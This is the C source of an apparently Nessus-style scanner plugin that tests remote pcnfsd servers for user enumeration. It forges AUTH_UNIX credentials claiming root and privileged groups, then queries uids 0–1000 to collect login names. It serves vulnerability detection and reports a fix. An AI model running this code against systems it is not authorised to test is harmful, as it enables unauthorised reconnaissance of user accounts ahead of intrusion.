/*
 * pcnfsd_userlist
 *
 *
 * This program retrieves the user list of the remote host
 * using pcnfsd features. The code of this plugin is heavily
 * based on ga's <duncan@mygale.org> prout.c
 *
 */
 
#include <includes.h>
#include "pcnfsd.h"


#define NAME "pcnfsd sends the users list"
#define DESCRIPTION "\
a feature present in many pcnfsd servers allow\n\
an attacker to guess the names of the users\n\
of the target machine, by giving their uid to\n\
the server. This plugin will determine if you are\n\
vulnerable to this kind of attack, and if you are,\n\
it will retrieve the list of the users of the remote\n\
host that have a user id in [0;1000]\n\
Risk factor : Medium"
#define COPYRIGHT "ga <duncan@mygale.org>"
#define SUMMARY "retrieves the list of users whose uid is in [0;1000] using pcnfsd"

#define PCNFSD_PROG 150001


/* spoof of the RPC auth unix authentification */
void make_auth_unix(authptr)
unsigned long *authptr;
{
  struct timeval tv;
  
  gettimeofday(&tv, (struct timezone *) NULL);
  
  *(  authptr)=htonl(1);				       /* auth unix   */
  *(++authptr)=htonl(LEN_AUTH_UNIX-16);                       /* length auth */
  *(++authptr)=htonl(tv.tv_sec);			       /* local time  */
  *(++authptr)=htonl(9);	        	               /* length host */
  strcpy((char *)++authptr, "localhost");                     /* hostname */
  authptr+=(3);					       /* len(host)%4 */
  *(  authptr)=htonl(0);				       /* uid root */
  *(++authptr)=htonl(0);				       /* gid root */
  *(++authptr)=htonl(9);				       /* 9 gid grps */
  /* group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid" */
  *(++authptr)=htonl(0) ;*(++authptr)=htonl(1) ;*(++authptr)=htonl(2);
  *(++authptr)=htonl(3) ;*(++authptr)=htonl(4) ;*(++authptr)=htonl(6);
  *(++authptr)=htonl(10);*(++authptr)=htonl(11);*(++authptr)=htonl(0);
}


/*

 Retrieve remotely all logins (with uid) from a system.
 It's part of the pcnfsd implementation.

*/

char * make_pcnfsd_PRMAPID(dip, dport, lo_uid, up_uid)
     unsigned long  dip;
     unsigned short int dport;
     int lo_uid;
     int up_uid;
{
  unsigned char * pkt;
  int nbytes, sock;
  unsigned long *authp;
  unsigned long ansrpc[256];
  char * ret = NULL;
  struct rpc_hdr         *rpch;
  struct pr_mapid_args   *prh;
  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;
  fd_set read;
  int len = LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
  struct timeval timeout = {10,0};
  
  pkt = emalloc(len);
  rpch=     (struct rpc_hdr*)        (pkt);
  authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  prh=      (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
  
  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(12);		            /* PCNFSD_PROC_PRMAPID */
  prh->len_comments     = htonl(254);
  prh->req_list	 = htonl(1);		    /* only one req_list */
  prh->mapreq           = htonl(0);                 /* MAP_REQ_UID */
  prh->len_username     = htonl(63);
  prh->mapreqnext       = htonl(0);		    /* end req_list */
  
  make_auth_unix(authp);
  
  if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
    return(NULL);
  };
  
  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(dport);
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  
  ret = emalloc(2048);
  for (lo_uid; lo_uid<=up_uid;lo_uid++) {
    
    
    prh->uid=htonl(lo_uid);
    if ((sendto(sock, (char *)pkt, len, 0, (struct sockaddr*) sa,
		sizeof(struct sockaddr)))==-1) {                             
      close(sock);
      return(ret);
    }   
    timeout.tv_sec = 10;
    FD_ZERO(&read);
    FD_SET(sock, &read);
    select(sock+1, &read, NULL, NULL, &timeout);
    if(!FD_ISSET(sock, &read))
      {
	close(sock);
	return(NULL);
      }
    nbytes=recv(sock, (char *)ansrpc, 1024,0);
    if(nbytes < 0)return(ret);    
    if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )return(ret);
    if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
      {
	sprintf(ret, "%s%s (%i)\n", ret, 
		(char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)],
		ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]));
      }
  }   
  close(sock);
  return ret;
}


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
  plug_set_name(desc, NAME);
  plug_set_description(desc, DESCRIPTION);
  plug_set_summary(desc, SUMMARY);
  plug_set_copyright(desc, COPYRIGHT);
  plug_set_category(desc, ACT_ATTACK);
  plug_set_family(desc, "RPC programs");
  plug_set_timeout(desc, 10);
  return(0);
}

PlugExport int plugin_run(struct arglist * env);
PlugExport int plugin_run(struct arglist * env)
{
  int port;
  char * list, * report;
  struct in_addr * addr = plug_get_host_ip(env);
   if(plug_get_key(env, "rpc/portmapper")&&
     (strlen(plug_get_key(env, "rpc/portmapper"))<3))return(0);
  if(!addr)return(0);
  port = getrpcport(plug_get_hostname(env), PCNFSD_PROG, 2, IPPROTO_UDP);
  if(!port)return(0);
  else 
    {
      list = make_pcnfsd_PRMAPID(addr->s_addr, port, 0, 1000);
      if(list && strlen(list))
	{
	  report = emalloc(strlen(list)+100);
	  sprintf(report, "\
The remote pcnfsd server can be used to\n\
find the list of the remote users. Here is\n\
the list of the users whose IP is between 0\n\
and 1000 :\n%s\n\
Solution: disable pcnfsd. It is insecure", list);
	  post_hole_udp(env, port, report);
	  efree(&list);
	  efree(&report);
	}
    }
  return(0);
}
 



